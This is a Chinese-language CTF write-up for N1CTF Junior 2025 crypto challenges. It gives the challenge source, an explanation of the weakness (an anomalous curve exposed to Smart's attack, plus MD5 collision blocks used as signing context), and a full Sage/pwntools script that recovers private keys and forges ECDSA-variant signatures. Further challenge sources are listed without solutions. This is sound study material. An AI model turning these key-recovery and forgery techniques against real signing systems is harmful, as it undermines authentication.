k = bytes_to_long(ctx + md5(str(priv).encode() + msg).digest())
z = bytes_to_long(md5(ctx + msg).digest())
r = int((k * G).x()) % n
s = (pow(k, -1, n) * (z + r * priv)) % n
return r, s

def verify(pub, ctx, msg, sig):
z = bytes_to_long(md5(ctx + msg).digest())
r, s = sig
if 0 < r < n and 0 < s < n:
return r == int((pow(s, -1, n) * (z * G + r * pub)).x()) % n

def chall(level, flag):
priv = randint(1, n - 1)
pub = priv * G
msg = os.urandom(64)

print(f"=== level {level} ===")
for _ in range(catalan_number(level)):
ctx = bytes.fromhex(input('context: '))
r, s = sign(priv, ctx, msg)
assert verify(pub, ctx, msg, (r, s))
if level <= 1: print('message:', msg.hex())
if level <= 2: print('sign:', r)
if level <= 3: print('ature:', s)

r, s = map(int, input('signature: ').split())
assert verify(pub, b'n1junior_2025', f'cat /flag{level}'.encode(), (r, s))
print(f'flag{level}:', flag)

if __name__ == "__main__":
chall(0, "💧")
chall(1, "🐱")
chall(2, FLAG)

ECDSA的一个变种ECDSA的一个变种

曲线y2=x3+3曲线y^{2}=x^{3}+3

pub=privGpub=priv\cdot G
z=bytes_to_long(md5(ctx+msg))z=bytes{\_}to{\_}long(md5(ctx+msg))

k正常来说,是1n1的随机数k正常来说,是1到n-1的随机数
但此处,k=bytes_to_long(ctx+md5(priv+msg))但此处,k=bytes{\_}to{\_}long(ctx+md5(priv+msg))

ctx是我们可控的,其余与正常的ECDSA一致ctx是我们可控的,其余与正常的ECDSA一致

r=(kG)_x(modn)r=(k*G)_{\_x}\pmod n
s=k1(z+rpriv)(modn)s=k^{-1}(z+r*priv)\pmod n

sign:(r,s)sign: (r,s)

verify:r==(s1(zG+rpub))_x(modn)verify: r==(s^{-1}(z*G+r*pub))_{\_x}\pmod n

level0level1都是一次签名验证,得到msgrslevel0和level1都是一次签名验证,得到msg、r、s
level2是两次签名验证,得到两对(r,s)level2是两次签名验证,得到两对(r,s)

同时,还需要对指定消息进行签名伪造,通过验证同时,还需要对指定消息进行签名伪造,通过验证
伪造签名,需要使用到私钥priv,而k是未知的伪造签名,需要使用到私钥priv,而k是未知的
尝试构造格,但貌似失败了尝试构造格,但貌似失败了……

下面参考大佬的wp

这里我忽视了一个最重要的点n = E.order(),我觉得没什么问题,但实际上,打印出来你会发现,曲线的阶刚好为模数!!!

因此,曲线上的所有的点可以构成一个循环群,所有的点都可以表示为某个生成元的倍数

r=(kG)_x(modn)r=(k*G)_{\_x}\pmod n

k的求解,正是ECDLP(此处r G n均已知),正常来说ECDLP的求解是很困难的,但因为曲线的阶等于模数,导致了可以通过smart attack来求解k,具体推导看这个,就不详细阐述,同时k是一个不大于2^128的数(在level0 level1中,本地调试好几次都被中断了,因为y有两个,对应k也会有两个)

level0 level1中,我们都令ctx=b’',方便我们准确判断k的上界

但是到了level2,我们无法获取到msg,只有两对(r,s),无法像前面一条关系式直接推出私钥priv

s1k1=(z1+r1priv)(modn)s_{1}*k_{1}=(z_{1}+r_{1}*priv)\pmod n
s2k2=(z2+r2priv)(modn)s_{2}*k_{2}=(z_{2}+r_{2}*priv)\pmod n

同时注意题目使用的算法是md5!!!这是破局的关键

有这样的两个字节串S1 S2,满足:

  • S1 != S2
  • 对于任意字节串 suf(可以为空),MD5(S1+suf) == MD5(S2+suf)

详情见密码学家 Marc Stevens的研究S1文本S2文本

这样得到z1 = z2

priv=(s1k1s2k2)(r1r2)1(modn)priv=(s_{1}*k_{1}-s_{2}*k_{2})*(r_{1}-r_{2})^{-1}\pmod n

然后,这里k的上下界都不好确定,本来以为k1k2(mod2128)k1\equiv k2\pmod {2^{128}},但验证了一番,并不能确定正确的k1 k2,所以我直接不管了,反正25%的概率得到正确的k1 k2

# sage
from pwn import *
from Crypto.Util.number import *
from hashlib import md5

io = process(['sage', 'server.sage'])

P = 0x1337_ca7_eae368ff5d702e6067aaaa77ca_ca7_1337
E = EllipticCurve(GF(P), [0, 3])
Fp = GF(P)
G = E(1, 2)
n = E.order()

S1 = '30820511A0030201020204010C0001300D06092A864886F70D0101040500303D311A3018060355040313114861736820436F6C6C6973696F6E204341311230100603550407130945696E64686F76656E310B3009060355040613024E4C301E170D3036303130313030303030315A170D3037313233313233353935395A3054311930170603550403131041726A656E204B2E204C656E7374726131163014060355040A130D436F6C6C6973696F6E61697273311230100603550407130945696E64686F76656E310B3009060355040613024E4C30820422300D06092A864886F70D01010105000382040F003082040A0282040100EE73E7D6B3B34FBAA1393D02A47425818DC84F86736E907228BBE8770203858D8CF1837AFF5E6C2213036AF3D95C77E9C2237D608CC4A9FB97308BBF9828612F1599E2615BCCDEDA5930532FB3DD117278E494401433630E7461C1DC9B801B2E552015A513FF7AE7973EF44B8352E4E04979B31EB600654D51F4A381CEBE3F0BD099D130D1456FABE04A3E9885C8C4FB297B86B57752CD6419809FE37E6286F07732D1E069A5B4E56670B8BBBAE5C211742A131D05711CF1FE32AF933F1EEF224762E3AADAC17C40E448CA41A879A03D3CF665F239C7F3FE82B384E835E7C9E8BDEE30C268A2121284789DF42F44906F19B79026464436E1DA65FA0C53A377FA0D2B012B7DDC2855DAE5B55151E28034112120B5E79EC5F26A9F69DA85D74EF6A97A0B1164EFA25FB1AE26BA451CCDA7A2E784339C447D560549A60BF0676294BF580C919EC457025D3C7860B98296C0AB9FE5B1D353882E26C1F721B41899D972B5A1D5050B684536448010AF8C7AFF7CE8EACCB9B1FBBDD129D4F5D499FB812924DF302CB3C450233862979396B3A46CD0FF7F1426711C459297B65D1CEF66C18751E094BF08F3B2981C5CCE52D963D5A4259A64557E4D1B9EFE2D9A516D1E6EC8BB37066825AEA63616602BD7D11625A06A90739B4D0A06EA872A3AF9EBA12629BED67940561BD9374A89D60F0D722C9FEB6833EC53F0B0FD76AA047B66C90FCEB1D2E22CC099B9A4B93E0000000F54A895176E4C295A405FAF54CEE82D043A45CE40B155BE34EBDE784785A25B7F894D424FA127B157A8A120F99FE53102C81FA90E0B9BDA1BA775DF75D9152A80257A1ED352DD49E57E068FF3F02CABD4AC97DBBC3FA0205A74302F65C7F49A419E08FD54BFAFC14D78ABAAB30DDB3FC848E3DF02C5A40EDA248C9FF47482850CFDFBDD9BC55547B7404F5803C1BB81632173127E1A93B24AFB6E7A80450865DB374676D576BA5296CCC6C13082D1AB36521F1A8AD945466B9EF06AF43A02D70B7FB8B7DC6D268C3DBA6898F6552FA3FBB33DCBFADA7B33FA75D93AFE262BD37AFF75995FD0E9774BA5A26A7C443FF34E461502A2CB777E982D00737514B88ED28D61F428E88387DF2BF02230AD17A9D44FF364850A07DB42A7826AC2EE3899CAC3EC274721D476D96658F53716676587F8FF14DB8DE6741AFA2206DBA3B11828BA87C6E1E88A022F1AA8DDD037EAB049B5C7D3053D0A63D7861DEA07B3D8B720DE068CF47E657BB44450B85D52F749D59572DF0C0E3433B47C9AA19A856F1DC3CDADBAFB143035C85A53AF5722038F765C0D621B66B69FFFFD091D4A661A453BF1DAED1A3A2341B37D7F623B158F6EC02B49A25364430FCB5861483E1E9543ED2EE7E54A4C108A6E641940980EE60D14AEE559AF30037E75B2309CE021FFE3109BF2053892AB0AE403516E2AB58067F70203010001A31A301830090603551D1304023000300B0603551D0F0404030205E0'
S2 = '30820511A0030201020204020C0001300D06092A864886F70D0101040500303D311A3018060355040313114861736820436F6C6C6973696F6E204341311230100603550407130945696E64686F76656E310B3009060355040613024E4C301E170D3036303130313030303030315A170D3037313233313233353935395A3054311530130603550403130C4D6172632053746576656E73311A3018060355040A1311436F6C6C6973696F6E20466163746F7279311230100603550407130945696E64686F76656E310B3009060355040613024E4C30820422300D06092A864886F70D01010105000382040F003082040A02820401001A09B4CB40C7267AAF017F9BA47425818DC84F86736E907228BBE8770203858D8CF1837AFF5E6C2213036AF3D95C77E9C2237D608CC4A9FB97307BBF9828612F1599E2615BCCDEDA5930532FB3DD117278E494401433630E7461C1DC9B801B2E552015A513FF7AE7973EF44B8352E4E04979B31EB600654D51F4A481CEBE3F0BD099D130D1456FABE04A3E9885C8C4FB297B86B57752CD6419809FE37E6286F07732D1E069A5B4E56670B8BBBAE5C211742A131D05711CF1FE22AF933F1EEF224762E3AADAC17C40E448CA41A879A03D3CF665F239C7F3FE82B384E835E7C9E8BDEE30C268A2121284789DF42F44906F19B79026464436E1DA64FA0C53A377FA0D2B012B7DDC2855DAE5B55151E28034112120B5E79EC5F26A9F69DA85D74EF6A97A0B1164EFA25FB1AE26BA451CCDA7A2E784339C447D562549A60BF0676294BF580C919EC457025D3C7860B98296C0AB9FE5B1D353882E26C1F721B41899D972B5A1D5050B684536448010AF8C7AFF7CE8EACCB9B1FBBDC929D4F5D499FB812924DF302CB3C450233862979396B3A46CD0FF7F1426711C459297B65D1CEF66C18751E094BF08F3B2981C5CCE52D963D5A4259A64557E4D1B9EFE0D9A516D1E6EC8BB37066825AEA63616602BD7D11625A06A90739B4D0A06EA872A3AF9EBA12629BED67940561BD9374A89D60F0D722C9FEB6833EC53F0B0FD76A2047B66C90FCEB1D2E22CC099B9A4B93E0000000F54A895176E4C295A405FAF54CEE82D043A45CE40B155BE34EBDE784785A25B7F894D424FA127B157A8A120F99FE53102C81FA90E0B9BDA1BA775DF75D9152A80257A1ED352DD49E57E068FF3F02CABD4AC97DBBC3FA0205A74302F65C7F49A419E08FD54BFAFC14D78ABAAB30DDB3FC848E3DF02C5A40EDA248C9FF47482850CFDFBDD9BC55547B7404F5803C1BB81632173127E1A93B24AFB6E7A80450865DB374676D576BA5296CCC6C13082D1AB36521F1A8AD945466B9EF06AF43A02D70B7FB8B7DC6D268C3DBA6898F6552FA3FBB33DCBFADA7B33FA75D93AFE262BD37AFF75995FD0E9774BA5A26A7C443FF34E461502A2CB777E982D00737514B88ED28D61F428E88387DF2BF02230AD17A9D44FF364850A07DB42A7826AC2EE3899CAC3EC274721D476D96658F53716676587F8FF14DB8DE6741AFA2206DBA3B11828BA87C6E1E88A022F1AA8DDD037EAB049B5C7D3053D0A63D7861DEA07B3D8B720DE068CF47E657BB44450B85D52F749D59572DF0C0E3433B47C9AA19A856F1DC3CDADBAFB143035C85A53AF5722038F765C0D621B66B69FFFFD091D4A661A453BF1DAED1A3A2341B37D7F623B158F6EC02B49A25364430FCB5861483E1E9543ED2EE7E54A4C108A6E641940980EE60D14AEE559AF30037E75B2309CE021FFE3109BF2053892AB0AE403516E2AB58067F70203010001A31A301830090603551D1304023000300B0603551D0F0404030205E0'
S1 = bytes.fromhex(S1)
S2 = bytes.fromhex(S2)

print(f"[*] 模 数 P: {P}")
print(f"[*] 曲线阶 n: {n}")


def get_k(r, choice):
r_fp = Fp(r)
y_fp = (r_fp^3 + 3).sqrt()

Q1 = E(r_fp, y_fp)
Q2 = E(r_fp, -y_fp)

k1 = SmartAttack(G, Q1, n)
k2 = SmartAttack(G, Q2, n)
if choice == 0:
k = k1 if k1*G == Q1 and k1 < 2^128 else k2
return k
if choice == 2:
return k1

def SmartAttack(P, Q, p):
E = P.curve()
Eqp = EllipticCurve(
Qp(p, 2), [ZZ(t) + randint(0, p)*p for t in E.a_invariants()])

P_Qps = Eqp.lift_x(ZZ(P.xy()[0]), all=True)
for P_Qp in P_Qps:
if GF(p)(P_Qp.xy()[1]) == P.xy()[1]:
break

Q_Qps = Eqp.lift_x(ZZ(Q.xy()[0]), all=True)
for Q_Qp in Q_Qps:
if GF(p)(Q_Qp.xy()[1]) == Q.xy()[1]:
break

p_times_P = p*P_Qp
p_times_Q = p*Q_Qp

x_P, y_P = p_times_P.xy()
x_Q, y_Q = p_times_Q.xy()

phi_P = -(x_P/y_P)
phi_Q = -(x_Q/y_Q)
k = phi_Q/phi_P
return ZZ(k)


def sign(priv, ctx, msg):
k = bytes_to_long(ctx + md5(str(priv).encode() + msg).digest())
z = bytes_to_long(md5(ctx + msg).digest())
r = int((k * G).x()) % n
s = (pow(k, -1, n) * (z + r * priv)) % n
return r, s


def solve_level_0_1(level):
print(f"[*] --- 正在解决 Level {level} ---")
io.recvuntil(f"=== level {level} ===\n".encode())
ctx = b''
io.recvuntil(b'context: ')
io.sendline(ctx.hex().encode())

msg_hex = io.recvline().strip().split(b': ')[1].decode()
r = int(io.recvline().strip().split(b': ')[1])
s = int(io.recvline().strip().split(b': ')[1])
msg = bytes.fromhex(msg_hex)
print(f" [+] 收到 msg: {msg}")
print(f" [+] 收到 r: {r}")
print(f" [+] 收到 s: {s}")

k = get_k(r, 0)
z = bytes_to_long(md5(ctx + msg).digest())
priv = ((s * k) - z) * pow(r, -1, n) % n
print(f" [+] 成功恢复私钥: {priv}")

ctx_final = b'n1junior_2025'
msg_final = f'cat /flag{level}'.encode()
r_final, s_final = sign(priv, ctx_final, msg_final)
print(f" [+] 伪造的签名: r = {r_final}, s = {s_final}")

io.recvuntil(b'signature: ')
io.sendline(f"{r_final} {s_final}".encode())
flag = io.recvline().decode().strip()
print(f" [SUCCESS] {flag}")
print("-" * 50)


def solve_level_2():
level = 2
print(f"[*] --- 正在解决 Level {level} ---")
io.recvuntil(f"=== level {level} ===\n".encode())

ctx1 = S1
io.recvuntil(b'context: ')
io.sendline(ctx1.hex().encode())
r1 = int(io.recvline().strip().split(b': ')[1])
s1 = int(io.recvline().strip().split(b': ')[1])
print(f" [+] 收到签名1: r = {r1}, s = {s1}")
k1 = get_k(r1, 2)

ctx2 = S2
io.recvuntil(b'context: ')
io.sendline(ctx2.hex().encode())
r2 = int(io.recvline().strip().split(b': ')[1])
s2 = int(io.recvline().strip().split(b': ')[1])
print(f" [+] 收到签名2: r = {r2}, s = {s2}")
k2 = get_k(r2, 2)

priv = (s1*k1 - s2*k2) * inverse(r1 - r2, n) % n
print(f" [+] 恢复的私钥: {priv}")

ctx_final = b'n1junior_2025'
msg_final = f'cat /flag{level}'.encode()
r_final, s_final = sign(priv, ctx_final, msg_final)
print(f" [+] 伪造的签名: r = {r_final}, s = {s_final}")

io.recvuntil(b'signature: ')
io.sendline(f"{r_final} {s_final}".encode())
flag = io.recvline().decode().strip()
print(f" [SUCCESS] {flag}")


if __name__ == '__main__':
solve_level_0_1(0)
solve_level_0_1(1)
solve_level_2()
io.close()

sign the ca7s*

Sign the cats, so that you can cat the flag! 🐱

from Crypto.Util.number import bytes_to_long
from hashlib import md5
import os

FLAG = os.environ.get("FLAG", "flag{**redacted**}")

E = EllipticCurve(GF(0x1337_ca7_eae368ff5d702e6067aaaa77ca_ca7_1337), [0, 3])
G, n = E(1, 2), E.order()

def sign(priv, ctx, msg):
k = bytes_to_long(ctx + md5(str(priv).encode() + msg).digest())
z = bytes_to_long(md5(ctx + msg).digest())
r = int((k * G).x()) % n
s = (pow(k, -1, n) * (z + r * priv)) % n
return r, s

def verify(pub, ctx, msg, sig):
z = bytes_to_long(md5(ctx + msg).digest())
r, s = sig
if 0 < r < n and 0 < s < n:
return r == int((pow(s, -1, n) * (z * G + r * pub)).x()) % n

def chall(level, flag):
priv = randint(1, n - 1)
pub = priv * G
msg = os.urandom(64)

print(f"=== level {level} ===")
for _ in range(catalan_number(level)):
ctx = bytes.fromhex(input('context: '))
r, s = sign(priv, ctx, msg)
assert verify(pub, ctx, msg, (r, s))
if level <= 1: print('message:', msg.hex())
if level <= 2: print('sign:', r)
if level <= 3: print('ature:', s)

r, s = map(int, input('signature: ').split())
assert verify(pub, b'n1junior_2025', f'cat /flag{level}'.encode(), (r, s))
print(f'flag{level}:', flag)

if __name__ == "__main__":
chall(1, "💧")
chall(2, "🐱")
chall(3, FLAG)

这题升级了,在level3中,我们只能得到五次签名验证的s
后续也需要使用到hashclash了,抽时间再继续学一波吧……

sign one m0re*

Can you break the one-more unforgeability of this signature scheme? 🖊

  1. Can you break the one-more unforgeability of this provably secure partially blind signature scheme?
  2. eROSion
from fastecdsa.curve import secp256k1
from fastecdsa.point import Point
from secrets import randbelow
from hashlib import sha512
import signal
import os

FLAG = os.environ.get("FLAG", "flag{**redacted**}")

MAX_SESSIONS = 192

p, q, G = secp256k1.p, secp256k1.q, secp256k1.G
info = int.from_bytes(b"[N1CTF Junior 2025]", "big")
z = Point(info, pow(info ** 3 + 7, (p + 1) // 4, p), secp256k1)

class Signer:
def __init__(self):
self.x = randbelow(q)
self.y = self.x * G
self.sessions = {sid: (0, ) for sid in range(MAX_SESSIONS)}

def get_public_key(self):
return self.y

def commit(self, sid):
assert sid in range(MAX_SESSIONS), "Invalid session"
assert self.sessions[sid][0] == 0, "Invalid state"
u, s, d = [randbelow(q) for _ in range(3)]
a, b = u * G, s * G + d * z
self.sessions[sid] = (1, u, s, d)
return a, b

def sign(self, sid, e):
assert sid in range(MAX_SESSIONS), "Invalid session"
assert self.sessions[sid][0] == 1, "Invalid state"
assert 1 < e < q, "Invalid query"
_, u, s, d = self.sessions[sid]
c = (e - d) % q
r = (u - c * self.x) % q
self.sessions[sid] = (2, )
return r, c, s, d

class Verifier:
def __init__(self):
self.messages = set()

def oracle(self, α, β, z, msg):
to_hash = "||".join(map(str, [α.x, α.y, β.x, β.y, z.x, z.y, msg]))
return int.from_bytes(sha512(to_hash.encode()).digest(), "big") % q

def verify(self, pub, sig, msg):
assert all(1 < x < q for x in sig), "Invalid signature"
ρ, ω, σ, δ = sig
if (ω + δ) % q == self.oracle(ρ * G + ω * pub, σ * G + δ * z, z, msg):
self.messages.add(msg)
if len(self.messages) == MAX_SESSIONS + 1:
return FLAG
return "Good signature"
return "Bad signature"

signal.alarm(300)
signer = Signer()
verifier = Verifier()

while True:
cmd, *args = input("> ").split()
if cmd == "get_key":
y = signer.get_public_key()
print(f"y = ({y.x}, {y.y})")
elif cmd == "commit":
sid = int(args[0])
a, b = signer.commit(sid)
print(f"a = ({a.x}, {a.y})")
print(f"b = ({b.x}, {b.y})")
elif cmd == "sign":
sid, e = int(args[0]), int(args[1])
r, c, s, d = signer.sign(sid, e)
print(f"{r = }")
print(f"{c = }")
print(f"{s = }")
print(f"{d = }")
elif cmd == "verify":
sig, msg = tuple(map(int, args[:4])), args[4]
print(verifier.verify(signer.get_public_key(), sig, msg))

SM1¼*

SM4 is a secure block cipher. So is SM1¼. 🔒

from Crypto.Util.Padding import pad
from Crypto.Util.strxor import strxor
import os

FLAG = os.environ.get("FLAG", "flag{**redacted**}")

S = (
0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05,
0x2B, 0x67, 0x9A, 0x76, 0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99,
0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62,
0xE4, 0xB3, 0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 0x75, 0x8F, 0x3F, 0xA6,
0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73, 0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8,
0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35,
0x1E, 0x24, 0x0E, 0x5E, 0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x21, 0x78, 0x87,
0xD4, 0x00, 0x46, 0x57, 0x9F, 0xD3, 0x27, 0x52, 0x4C, 0x36, 0x02, 0xE7, 0xA0, 0xC4, 0xC8, 0x9E,
0xEA, 0xBF, 0x8A, 0xD2, 0x40, 0xC7, 0x38, 0xB5, 0xA3, 0xF7, 0xF2, 0xCE, 0xF9, 0x61, 0x15, 0xA1,
0xE0, 0xAE, 0x5D, 0xA4, 0x9B, 0x34, 0x1A, 0x55, 0xAD, 0x93, 0x32, 0x30, 0xF5, 0x8C, 0xB1, 0xE3,
0x1D, 0xF6, 0xE2, 0x2E, 0x82, 0x66, 0xCA, 0x60, 0xC0, 0x29, 0x23, 0xAB, 0x0D, 0x53, 0x4E, 0x6F,
0xD5, 0xDB, 0x37, 0x45, 0xDE, 0xFD, 0x8E, 0x2F, 0x03, 0xFF, 0x6A, 0x72, 0x6D, 0x6C, 0x5B, 0x51,
0x8D, 0x1B, 0xAF, 0x92, 0xBB, 0xDD, 0xBC, 0x7F, 0x11, 0xD9, 0x5C, 0x41, 0x1F, 0x10, 0x5A, 0xD8,
0x0A, 0xC1, 0x31, 0x88, 0xA5, 0xCD, 0x7B, 0xBD, 0x2D, 0x74, 0xD0, 0x12, 0xB8, 0xE5, 0xB4, 0xB0,
0x89, 0x69, 0x97, 0x4A, 0x0C, 0x96, 0x77, 0x7E, 0x65, 0xB9, 0xF1, 0x09, 0xC5, 0x6E, 0xC6, 0x84,
0x18, 0xF0, 0x7D, 0xEC, 0x3A, 0xDC, 0x4D, 0x20, 0x79, 0xEE, 0x5F, 0x3E, 0xD7, 0xCB, 0x39, 0x48,
)

FK = (
0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC,
)

CK = (
0x00070E15, 0x1C232A31, 0x383F464D, 0x545B6269,
0x70777E85, 0x8C939AA1, 0xA8AFB6BD, 0xC4CBD2D9,
0xE0E7EEF5, 0xFC030A11, 0x181F262D, 0x343B4249,
0x50575E65, 0x6C737A81, 0x888F969D, 0xA4ABB2B9,
0xC0C7CED5, 0xDCE3EAF1, 0xF8FF060D, 0x141B2229,
0x30373E45, 0x4C535A61, 0x686F767D, 0x848B9299,
0xA0A7AEB5, 0xBCC3CAD1, 0xD8DFE6ED, 0xF4FB0209,
0x10171E25, 0x2C333A41, 0x484F565D, 0x646B7279,
)

l2b = lambda x: x.to_bytes(4, "big")
b2l = lambda x: int.from_bytes(x, "big")
τ = lambda x: b2l(bytes(S[y] for y in l2b(x)))
rol = lambda x, y: ((x << y) | (x >> (32 - y))) & 0xFFFFFFFF
L = lambda x: x ^ rol(x, 2) ^ rol(x, 10) ^ rol(x, 18) ^ rol(x, 24)
L_ = lambda x: x ^ rol(x, 13) ^ rol(x, 23)
T = lambda x: L(τ(x))
T_ = lambda x: L_(τ(x))

def enc_block(key, block, nr=32):
K = [b2l(key[i : i + 4]) ^ FK[i // 4] for i in range(0, 16, 4)]
X = [b2l(block[i : i + 4]) for i in range(0, 16, 4)]
for i in range(nr):
K += [K[i] ^ T_(CK[i] ^ K[i + 1] ^ K[i + 2] ^ K[i + 3])]
X += [X[i] ^ T(X[i + 1] ^ X[i + 2] ^ X[i + 3] ^ K[i + 4])]
return b"".join(l2b(X[nr + 3 - i]) for i in range(4))

def enc(key, pt, nr=32):
pt = pad(pt, 16)
ct = bytes(16)
for i in range(0, len(pt), 16):
ct += enc_block(key, strxor(pt[i : i + 16], ct[-16 : ]), nr)
return ct[16 : ]

key = os.urandom(16)
print(enc(key, FLAG.encode()).hex())
while True:
pt = bytes.fromhex(input("> "))
print(enc(key, pt, 10).hex())